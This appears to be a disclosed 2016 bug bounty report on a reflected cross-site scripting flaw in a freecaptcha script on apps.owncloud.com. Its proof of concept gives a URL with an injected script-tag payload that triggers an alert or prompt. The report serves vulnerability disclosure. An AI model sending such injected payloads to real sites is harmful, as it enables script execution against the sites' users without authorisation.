ownCloud · Report #129551
Cross site scripting in apps.owncloud.com
Validstatus
4upvotes
12 Apr 2016disclosed
How it was found
Vulenrablity Affects : http://apps.owncloud.com/lib/freecaptcha/freecap_wrap.php
POC :
URI was set to : "><script>alert(1)</script>
url : http://apps.owncloud.com/lib/freecaptcha/freecap_wrap.php/"><script>prompt(1)</script>
Screenshot : enclosed